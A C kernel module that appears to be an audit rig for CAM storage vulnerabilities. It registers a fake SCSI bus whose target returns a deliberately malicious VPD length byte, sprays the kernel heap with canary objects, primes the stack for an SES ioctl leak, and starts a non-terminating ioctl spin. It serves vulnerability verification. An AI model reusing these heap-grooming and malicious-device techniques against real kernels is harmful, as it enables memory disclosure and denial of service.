/*
 * dfcam_harness.c -- kernel-compiled CAM verification rig.
 *
 * Enables verification of REAL kernel code paths (cam_xpt.c, cam_periph.c,
 * scsi_pass.c, scsi_ses.c -- compiled untouched into the kernel) against a
 * fabricated transport:
 *
 *   DF-2261  PROBE_SERIAL_NUM_1 OOB read + XPT_GDEV_TYPE overflow
 *            (fake target returns VPD 0x80 with knobbed length byte;
 *             kmalloc(255) adjacency sprayed with 0xC3 canaries)
 *   DF-2266  CAMGETPASSTHRU whole-CCB leak (prime pass periph CCB pool,
 *            then CAMGETPASSTHRU; ground-truth pointers printed here)
 *   DF-2278  pass forwards CAM_DATA_PHYS csio.data_ptr verbatim to the
 *            transport (captured here in sim_action; see debug.dfcam.cap)
 *   DF-2280  SESIOC_GETOBJMAP leak (fake SES enclosure with knobbed
 *            object count -> real scsi_ses.c attaches -> /dev/sesN)
 *   DF-2267  cam_periph_ioctl CAMGETPASSTHRU non-termination on a device
 *            whose periph list is empty (fabricated periph+path+ed with
 *            VERBATIM-EXTRACTED cam_ed/cam_et/cam_eb/cam_path layouts;
 *            REAL cam_periph.c + REAL xpt_action(XPT_GDEVLIST) execute)
 *
 * Everything driven by sysctls under debug.dfcam.* (root).
 */
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/proc.h>
#include <sys/thread.h>
#include <sys/kthread.h>
#include <sys/malloc.h>
#include <sys/callout.h>
#include <sys/lock.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_periph.h>
#include <bus/cam/cam_queue.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>
#include <bus/cam/cam_xpt_periph.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>
#include <bus/cam/scsi/scsi_pass.h>

/* verbatim-extracted private XPT struct layouts (gen script sha-gated) */
#include "dfcam_structs.h"

/* ---------------- knobs ---------------- */
static int dfcam_devtype = T_DIRECT;
static int dfcam_vpd80_len = 20;
static int dfcam_ses_nobj = 24;
static int dfcam_nattach;
static int dfcam_spray;

/* ---------------- captured state (DF-2278) ---------------- */
static uintptr_t dfcap_data_ptr;
static u_int32_t dfcap_flags;
static u_int32_t dfcap_dxfer;
static u_int32_t dfcap_sgcnt;
static int dfcap_count;
static int dfcap_phys_seen;

/* ---------------- spray state (DF-2261) ---------------- */
#define DFSPRAY_MAX 512
static void *dfspray[DFSPRAY_MAX];
static int dfspray_kept;

/* ---------------- fake SIM ---------------- */
static struct cam_sim *dfcam_sim;
static struct cam_devq *dfcam_devq;
static int dfcam_unit;
static path_id_t dfbus_path_id[8];
static uintptr_t dfcam_softc_addr = 0x51510000; /* marker value handed
						 out as sim_priv */

static void	dfcam_action(struct cam_sim *sim, union ccb *ccb);
static void	dfcam_poll(struct cam_sim *sim);

static void
dfcam_attach_one(void)
{
	if (dfcam_devq == NULL)
		dfcam_devq = cam_simq_alloc(16);
	/*
	 * Use the recursive-safe global sim_mplock: camisr() drains
	 * completions under the SIM lock and probedone()->xpt_async()->
	 * sgasync()->cam_periph_alloc() re-acquires it; a dedicated
	 * (non-recursive) lockmgr lock panics "locking against myself"
	 * for runtime-registered buses.
	 */
	dfcam_sim = cam_sim_alloc(dfcam_action, dfcam_poll, "dfcam",
	    (void *)dfcam_softc_addr, dfcam_unit, &sim_mplock, 16, 16,
	    dfcam_devq);
	if (dfcam_sim == NULL) {
		kprintf("DFCAM: cam_sim_alloc failed\n");
		return;
	}
	CAM_SIM_LOCK(dfcam_sim);
	if (xpt_bus_register(dfcam_sim, 0) != CAM_SUCCESS) {
		kprintf("DFCAM: xpt_bus_register failed\n");
		CAM_SIM_UNLOCK(dfcam_sim);
		return;
	}
	CAM_SIM_UNLOCK(dfcam_sim);
	if (dfcam_unit < 8)
		dfbus_path_id[dfcam_unit] = dfcam_sim->path_id;
	kprintf("DFCAM: bus registered unit=%d path_id=%u devtype=0x%x "
	    "vpd80_len=%d ses_nobj=%d (probe via debug.dfcam.rescan=%d)\n",
	    dfcam_unit, dfcam_sim->path_id, dfcam_devtype,
	    dfcam_vpd80_len, dfcam_ses_nobj, dfcam_unit);
	dfcam_unit++;
	dfcam_nattach++;
}

static void
dfcam_poll(struct cam_sim *sim)
{
}

/*
 * Complete a SCSI IO with `len' bytes of payload already placed at
 * csio->data_ptr (kernel address), setting a proper residual.
 */
static void
dfcam_done_data(union ccb *ccb, u_int32_t len)
{
	ccb->csio.scsi_status = SCSI_STATUS_OK;
	if (ccb->csio.dxfer_len > len)
		ccb->csio.resid = ccb->csio.dxfer_len - len;
	else
		ccb->csio.resid = 0;
	ccb->ccb_h.status = CAM_REQ_CMP;
	xpt_done(ccb);
}

static void
dfcam_action(struct cam_sim *sim, union ccb *ccb)
{
	u_int8_t *cdb;
	u_int8_t *d;
	volatile char df_stackpad[2048];	/* DF-2280 stack primer */

	/* dirty 2KB of THIS thread kernel stack with 0xC3 so a following
	 * sesioctl(SESIOC_GETOBJMAP) on the same thread copies primed
	 * bytes out through the ses_object tail padding */
	memset((void *)(uintptr_t)df_stackpad, 0xC3, sizeof(df_stackpad));
	if (df_stackpad[17] == 0x42)
		kprintf("DFCAM: (impossible)\n");

	/* record what the transport layer handed us (DF-2278) */
	dfcap_data_ptr = (uintptr_t)ccb->csio.data_ptr;
	dfcap_flags = ccb->ccb_h.flags;
	dfcap_dxfer = ccb->csio.dxfer_len;
	dfcap_sgcnt = ccb->csio.sglist_cnt;
	dfcap_count++;
	if (ccb->ccb_h.flags & (CAM_DATA_PHYS | CAM_SG_LIST_PHYS))
		dfcap_phys_seen = 1;

	/* a real SIM tags the CCB with its softc: ground truth for the
	 * DF-2266 leak attribution */
	ccb->ccb_h.sim_priv.entries[0].ptr = (void *)dfcam_softc_addr;

	/*
	 * DF-2278 capture-only path: when pass forwards a raw
	 * CAM_DATA_PHYS / CAM_SG_LIST_PHYS address we record it but
	 * never touch it (the stock atapi transport DOES touch it,
	 * panicking the kernel -- see panic_stock_ata_pio.txt).
	 */
	if (ccb->ccb_h.func_code == XPT_SCSI_IO &&
	    (ccb->ccb_h.flags & (CAM_DATA_PHYS | CAM_SG_LIST_PHYS)) != 0) {
		kprintf("DFCAM: SIM received raw PHYS data_ptr=%#zx "
		    "flags=%#x dxfer=%u -- COMPLETING WITHOUT TOUCHING "
		    "(capture-only)\n", (size_t)ccb->csio.data_ptr,
		    ccb->ccb_h.flags, ccb->csio.dxfer_len);
		ccb->csio.scsi_status = SCSI_STATUS_OK;
		ccb->csio.resid = ccb->csio.dxfer_len;
		ccb->ccb_h.status = CAM_REQ_CMP;
		xpt_done(ccb);
		return;
	}

	switch (ccb->ccb_h.func_code) {
	case XPT_SCSI_IO:
		break;
	case XPT_PATH_INQ:
	{
		struct ccb_pathinq *cpi = &ccb->cpi;

		cpi->version_num = 1;
		cpi->hba_inquiry = 0;
		cpi->target_sprt = 0;
		cpi->hba_misc = PIM_NOBUSRESET;
		cpi->hba_eng_cnt = 0;
		cpi->max_target = 0;
		cpi->max_lun = 0;
		cpi->unit_number = cam_sim_unit(sim);
		cpi->bus_id = cam_sim_bus(sim);
		cpi->initiator_id = 7;
		cpi->base_transfer_speed = 3300;
		strncpy(cpi->sim_vid, "DFCAM", SIM_IDLEN);
		strncpy(cpi->hba_vid, "DFAUDIT", HBA_IDLEN);
		strncpy(cpi->dev_name, cam_sim_name(sim), DEV_IDLEN);
		cpi->transport = XPORT_SPI;
		cpi->transport_version = 2;
		cpi->protocol = PROTO_SCSI;
		cpi->protocol_version = SCSI_REV_2;
		cpi->ccb_h.status = CAM_REQ_CMP;
		break;
	}
	case XPT_RESET_BUS:
	case XPT_RESET_DEV:
	case XPT_ABORT:
	case XPT_TERM_IO:
		ccb->ccb_h.status = CAM_REQ_CMP;
		break;
	case XPT_GET_TRAN_SETTINGS:
	case XPT_SET_TRAN_SETTINGS:
		ccb->ccb_h.status = CAM_FUNC_NOTAVAIL;
		break;
	case XPT_CALC_GEOMETRY:
		cam_calc_geometry(&ccb->ccg, /* extended */ 1);
		break;
	default:
		ccb->ccb_h.status = CAM_REQ_INVALID;
		break;
	}
	if (ccb->ccb_h.func_code != XPT_SCSI_IO) {
		xpt_done(ccb);
		return;
	}

	/* XPT_SCSI_IO: scripted device responses */
	cdb = ccb->csio.cdb_io.cdb_bytes;
	d = ccb->csio.data_ptr;
	ccb->ccb_h.status = CAM_REQ_CMP;
	ccb->csio.scsi_status = SCSI_STATUS_OK;
	ccb->csio.resid = 0;

	switch (cdb[0]) {
	case 0x12:	/* INQUIRY */
	{
		struct scsi_inquiry_data *inq = (void *)d;
		u_int32_t dlen = ccb->csio.dxfer_len;

		if (cdb[1] & 0x01) {	/* evpd */
			u_int8_t page = cdb[2];
			if (page == SVPD_SUPPORTED_PAGE_LIST) {
				struct scsi_vpd_supported_page_list *pl =
				    (void *)d;
				bzero(pl, ccb->csio.dxfer_len <
				    sizeof(*pl) ? ccb->csio.dxfer_len :
				    sizeof(*pl));
				pl->device = dfcam_devtype;
				pl->page_code = SVPD_SUPPORTED_PAGE_LIST;
				pl->length = 2;
				pl->list[0] = 0x00;
				pl->list[1] = SVPD_UNIT_SERIAL_NUMBER;
				dfcam_done_data(ccb, 8);
				return;
			}
			if (page == SVPD_UNIT_SERIAL_NUMBER) {
				struct scsi_vpd_unit_serial_number *sn =
				    (void *)d;
				u_int32_t len = sizeof(*sn);
				u_int32_t fill;
				int i;

				if (len > ccb->csio.dxfer_len)
					len = ccb->csio.dxfer_len;
				bzero(sn, len);
				sn->device = dfcam_devtype;
				sn->page_code = SVPD_UNIT_SERIAL_NUMBER;
				/*
				 * MALICIOUS length byte: claims up to 255
				 * serial bytes although serial_num[] holds
				 * only 251.  The buffer as a whole is 255
				 * bytes; bytes past it are the kernel heap
				 * neighbor (sprayed canary).
				 */
				sn->length = (u_int8_t)dfcam_vpd80_len;
				fill = dfcam_vpd80_len;
				if (fill > SVPD_SERIAL_NUM_SIZE)
					fill = SVPD_SERIAL_NUM_SIZE;
				for (i = 0; i < (int)fill; i++)
					sn->serial_num[i] = 'a' + (i % 26);
				/* "DMA" only what physically fits */
				dfcam_done_data(ccb,
				    4 + (dfcam_vpd80_len <
				    (int)SVPD_SERIAL_NUM_SIZE ?
				    dfcam_vpd80_len : SVPD_SERIAL_NUM_SIZE));
				return;
			}
			/* unknown page: not supported */
			ccb->csio.scsi_status = SCSI_STATUS_CHECK_COND;
			ccb->ccb_h.status = CAM_SCSI_STATUS_ERROR;
			xpt_done(ccb);
			return;
		}
		/*
		 * NEVER touch more than dxfer_len bytes: the probe
		 * allocates SHORT_INQUIRY_LENGTH (36) bytes, while
		 * sizeof(struct scsi_inquiry_data) is larger.
		 */
		if (dlen > sizeof(*inq))
			dlen = sizeof(*inq);
		bzero(inq, dlen);
		inq->device = dfcam_devtype;
		inq->version = 0x05;			/* SPC-3 */
		inq->response_format = 0x02; /* SCSI-2 response format */
		inq->additional_length = 0x1f;	/* 36 total: no FULL_INQUIRY */
		strncpy(inq->vendor, "DFCAM", SID_VENDOR_SIZE);
		strncpy(inq->product, "FAKEDEV", SID_PRODUCT_SIZE);
		strncpy(inq->revision, "0.1", SID_REVISION_SIZE);
		dfcam_done_data(ccb, 36 < ccb->csio.dxfer_len ? 36 :
		    ccb->csio.dxfer_len);
		return;
	}
	case 0x1c:	/* RECEIVE DIAGNOSTIC RESULTS */
	{
		u_int8_t page = cdb[1];		/* page code byte is cdb[1]? */
		u_int8_t *cfg = d;
		int nobj = dfcam_ses_nobj;
		int len;

		/* RECEIVE DIAGNOSTIC cdb: op, pc/pg, alloc..., control.
		 * ses_getconfig sends page 0x01 in byte 2 (SesConfigPage)
		 * with the pym flag in byte 1 -- mirror the cdb the ses
		 * driver builds: byte1=0x1, byte2=SesConfigPage. */
		page = cdb[2];
		if (page != 0x01) {
			/* status page etc.: all-ok zeros */
			bzero(d, ccb->csio.dxfer_len);
			dfcam_done_data(ccb, ccb->csio.dxfer_len);
			return;
		}
		bzero(d, 64);
		cfg[0] = 0x01;		/* config page */
		cfg[1] = 0;		/* Nsubenc = 0 -> 1 subenclosure */
		/* GenCode 0 at 4..7 */
		cfg[9] = 0;		/* Subencid */
		cfg[10] = 1;		/* Ntypes = 1 */
		cfg[11] = 8;		/* VEnclen: descriptor length */
		/* enclosure descriptor bytes 12..19 */
		cfg[12] = 0x0d;		/* enclosure type */
		/* type header for type 0 at offset 20 */
		cfg[20] = 0x01;		/* enc_type: device */
		cfg[21] = (u_int8_t)nobj;	/* enc_maxelt: objects! */
		cfg[22] = 0;		/* enc_subenc */
		cfg[23] = 0;		/* enc_tlen */
		len = 24 + 8 * nobj;	/* + subtype descs (ignored) */
		if (len > 64)
			len = 64;
		dfcam_done_data(ccb, len);
		return;
	}
	case 0x03:	/* REQUEST SENSE */
		bzero(d, ccb->csio.dxfer_len);
		dfcam_done_data(ccb, ccb->csio.dxfer_len);
		return;
	case 0x25:	/* READ CAPACITY */
	{
		u_int8_t *rc = d;

		if (ccb->csio.dxfer_len >= 8)
			bzero(rc, 8);
		rc[4] = 0; rc[5] = 0; rc[6] = 2; rc[7] = 0; /* 512b blocks */
		dfcam_done_data(ccb, 8);
		return;
	}
	default:
		/* TEST UNIT READY, MODE SENSE, and everything else: OK */
		bzero(d, ccb->csio.dxfer_len);
		dfcam_done_data(ccb, ccb->csio.dxfer_len);
		return;
	}
}

/* ---------------- spray (DF-2261 adjacency canary) ---------------- */
static void
dfcam_do_spray(int n)
{
	int i;

	if (n > DFSPRAY_MAX / 2)
		n = DFSPRAY_MAX / 2;
	for (i = 0; i < dfspray_kept; i++) {
		if (dfspray[i]) {
			kfree(dfspray[i], M_TEMP);
			dfspray[i] = NULL;
		}
	}
	dfspray_kept = 0;
	for (i = 0; i < 2 * n; i++) {
		void *p = kmalloc(255, M_TEMP, M_INTWAIT);

		memset(p, 0xC3, 255);
		dfspray[i] = p;
	}
	/* free every other object so probe kmalloc(255) can land between
	 * two 0xC3-filled neighbors */
	for (i = 0; i < 2 * n; i += 2) {
		kfree(dfspray[i], M_TEMP);
		dfspray[i] = NULL;
	}
	for (i = 0; i < 2 * n; i++)
		if (dfspray[i])
			dfspray[dfspray_kept++] = dfspray[i];
	kprintf("DFCAM: sprayed %d kept canary objects of 255 bytes "
	    "(0xC3 filled), %d holes poked\n", dfspray_kept, n);
}

/* ---------------- DF-2267 fabricated periph spin ---------------- */
static struct cam_eb df67_eb;
static struct cam_et df67_et;
static struct cam_ed *df67_ed;
static struct cam_path df67_path;
static struct cam_periph df67_periph;
static struct cam_sim df67_sim;	/* fabricated; only ->lock is used */
static struct lock df67_lock;
static union ccb *df67_ccb;
static struct callout df67_ch;
static int df67_spinning;
static int df67_lockprobe_result = -12345;
static char *df67_buf;

static void
df67_watchdog(void *arg)
{
	if (df67_spinning) {
		int rc;

		/* LK_NOWAIT probe: if the spinning thread still holds the
		 * SIM lock this fails with EBUSY -- proof of lock-held */
		rc = lockmgr(&df67_lock, LK_EXCLUSIVE | LK_NOWAIT);
		df67_lockprobe_result = rc;
		if (rc == 0)
			lockmgr(&df67_lock, LK_RELEASE);
		kprintf("DF67: spin still running (thread df67spin); "
		    "SIM-lock NOWAIT probe rc=%d (%s)\n", rc,
		    rc ? "LOCK STILL HELD by spinner" : "lock free");
		callout_reset(&df67_ch, 5 * hz, df67_watchdog, NULL);
	}
}

static void
df67_spin_thread(void *arg)
{
	kprintf("DF67: entering REAL cam_periph_ioctl(CAMGETPASSTHRU) on "
	    "fabricated periph with EMPTY device periph list -- expect "
	    "non-terminating loop (CAM_GDEVLIST_ERROR forever)\n");
	cam_periph_lock(&df67_periph);
	cam_periph_ioctl(&df67_periph, CAMGETPASSTHRU, df67_buf, NULL);
	/* NOT REACHED in the vulnerable case */
	cam_periph_unlock(&df67_periph);
	kprintf("DF67: cam_periph ioctl RETURNED (unexpected for empty "
	    "list)\n");
	kthread_exit();
}

static void
dfcam_do_spin67(void)
{
	if (df67_spinning) {
		kprintf("DF67: already spinning\n");
		return;
	}
	bzero(&df67_eb, sizeof(df67_eb));
	bzero(&df67_et, sizeof(df67_et));
	bzero(&df67_path, sizeof(df67_path));
	bzero(&df67_periph, sizeof(df67_periph));

	df67_ed = kmalloc(sizeof(*df67_ed), M_TEMP, M_INTWAIT | M_ZERO);
	df67_eb.path_id = 0x63;		/* arbitrary */
	df67_et.target_id = 0;
	df67_ed->lun_id = 0;
	SLIST_INIT(&df67_ed->periphs);	/* EMPTY: the trigger condition */
	df67_ed->generation = 1;
	df67_path.bus = &df67_eb;
	df67_path.target = &df67_et;
	df67_path.device = df67_ed;
	lockinit(&df67_lock, "df67lk", 0, 0);
	bzero(&df67_sim, sizeof(df67_sim));
	df67_sim.lock = &df67_lock;	/* dedicated rig lock */
	df67_periph.path = &df67_path;
	df67_periph.sim = &df67_sim;
	df67_periph.periph_name = "df67pass";
	df67_periph.unit_number = 67;
	df67_periph.flags = CAM_PERIPH_RUNNING;
	df67_ccb = kmalloc(sizeof(*df67_ccb), M_TEMP, M_INTWAIT | M_ZERO);
	df67_ccb->ccb_h.timeout_ch = kmalloc(sizeof(struct callout),
	    M_TEMP, M_INTWAIT | M_ZERO);
	/* cam_periph_ioctl() runs xpt_setup_ccb(ccb->ccb_h.path, ...) on
	 * the pooled CCB: the pool normally carries a valid path */
	df67_ccb->ccb_h.path = &df67_path;
	SLIST_INSERT_HEAD(&df67_periph.ccb_list, &df67_ccb->ccb_h,
	    periph_links.sle);
	df67_buf = kmalloc(sizeof(union ccb), M_TEMP, M_INTWAIT);

	df67_spinning = 1;
	kthread_create(df67_spin_thread, NULL, NULL, "df67spin");
	callout_init(&df67_ch);
	callout_reset(&df67_ch, 3 * hz, df67_watchdog, NULL);
}

/* ---------------- kernel-side scan (lock-correct) ---------------- */
static void
dfcam_scan_done(struct cam_periph *periph, union ccb *done_ccb)
{
	/* nothing to do; the scan ccb is freed by the scan thread */
}

static void
dfcam_scan_thread(void *arg)
{
	path_id_t bus = (path_id_t)(uintptr_t)arg;
	struct cam_path *path;
	union ccb *ccb;

	/*
	 * Userland-triggered scans (xptioctl XPT_SCAN_BUS) hold the SIM
	 * lock across xpt_action, and cam_periph_alloc() re-acquires it
	 * while registering the probe periph -> "lockmgr: locking against
	 * myself" panic on an empty bus.  The boot-time scan path does
	 * NOT hold the lock, so drive the scan from here the same way,
	 * with no lock held (xpt_periph is exported via cam_periph.h).
	 */
	if (xpt_create_path(&path, xpt_periph, bus,
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD) == CAM_REQ_CMP) {
		ccb = xpt_alloc_ccb();
		xpt_setup_ccb(&ccb->ccb_h, path, 5);
		ccb->ccb_h.func_code = XPT_SCAN_BUS;
		ccb->ccb_h.cbfcnp = dfcam_scan_done;
		kprintf("DFCAM: kernel-side XPT_SCAN_BUS on bus %u "
		    "(no SIM lock held)\n", bus);
		xpt_action(ccb);
		kprintf("DFCAM: scan of bus %u complete status=%#x\n",
		    bus, ccb->ccb_h.status & CAM_STATUS_MASK);
		xpt_free_ccb(&ccb->ccb_h);
		xpt_free_path(path);
	} else {
		kprintf("DFCAM: xpt_create_path for bus %u failed\n", bus);
	}
	kthread_exit();
}

/* ---------------- sysctls ---------------- */
static int
dfcam_sysctl_attach(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL || t != 1)
		return (error);
	dfcam_attach_one();
	return (0);
}

static int
dfcam_sysctl_spray(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL || t <= 0)
		return (error);
	dfcam_do_spray(t);
	dfcam_spray = t;
	return (0);
}

static int
dfcam_sysctl_ground(SYSCTL_HANDLER_ARGS)
{
	char buf[512];

	ksnprintf(buf, sizeof(buf),
	    "dfcam_softc_addr=%p sim=%p df67_lock=%p sim_priv_ground=%p "
	    "unit=%d nattach=%d last_target=%d spray_kept=%d "
	    "cap[ptr=%#zx flags=%#x dxfer=%u sg=%u phys_seen=%d n=%d] "
	    "spin67=%d lockprobe=%d\n",
	    (void *)dfcam_softc_addr, dfcam_sim, &df67_lock,
	    (void *)dfcam_softc_addr, dfcam_unit, dfcam_nattach,
	    dfcam_unit - 1, dfspray_kept,
	    dfcap_data_ptr, dfcap_flags, dfcap_dxfer, dfcap_sgcnt,
	    dfcap_phys_seen, dfcap_count,
	    df67_spinning, df67_lockprobe_result);
	sysctl_handle_string(oidp, buf, sizeof(buf), req);
	return (0);
}

static int
dfcam_sysctl_spin67(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL || t != 1)
		return (error);
	dfcam_do_spin67();
	return (0);
}

static int
dfcam_sysctl_rescan(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL || t < 0)
		return (error);
	if (t >= dfcam_unit) {
		kprintf("DFCAM: rescan: no such bus unit %d (have %d)\n",
		    t, dfcam_unit);
		return (EINVAL);
	}
	kthread_create(dfcam_scan_thread,
	    (void *)(uintptr_t)dfbus_path_id[t], NULL, "dfcamscan");
	return (0);
}

SYSCTL_NODE(_debug, OID_AUTO, dfcam, CTLFLAG_RW, 0, "df CAM rig");
SYSCTL_INT(_debug_dfcam, OID_AUTO, devtype, CTLFLAG_RW, &dfcam_devtype, 0,
    "SCSI device type for next attach (0=direct 0x0d=enclosure)");
SYSCTL_INT(_debug_dfcam, OID_AUTO, vpd80_len, CTLFLAG_RW, &dfcam_vpd80_len,
    0, "VPD 0x80 length byte returned by fake target (255 = malicious)");
SYSCTL_INT(_debug_dfcam, OID_AUTO, ses_nobj, CTLFLAG_RW, &dfcam_ses_nobj, 0,
    "SES config page object count");
SYSCTL_PROC(_debug_dfcam, OID_AUTO, attach, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfcam_sysctl_attach, "I", "1=register another dfcam bus");
SYSCTL_PROC(_debug_dfcam, OID_AUTO, spray, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfcam_sysctl_spray, "I", "kmalloc 255B canary objects");
SYSCTL_PROC(_debug_dfcam, OID_AUTO, ground, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, dfcam_sysctl_ground, "A", "ground-truth addresses/counters");
SYSCTL_PROC(_debug_dfcam, OID_AUTO, spin67, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfcam_sysctl_spin67, "I", "1=start DF-2267 CAMGETPASSTHRU spin");
SYSCTL_PROC(_debug_dfcam, OID_AUTO, rescan, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfcam_sysctl_rescan, "I",
    "kernel-side XPT_SCAN_BUS of dfcam bus <unit> (lock-correct)");
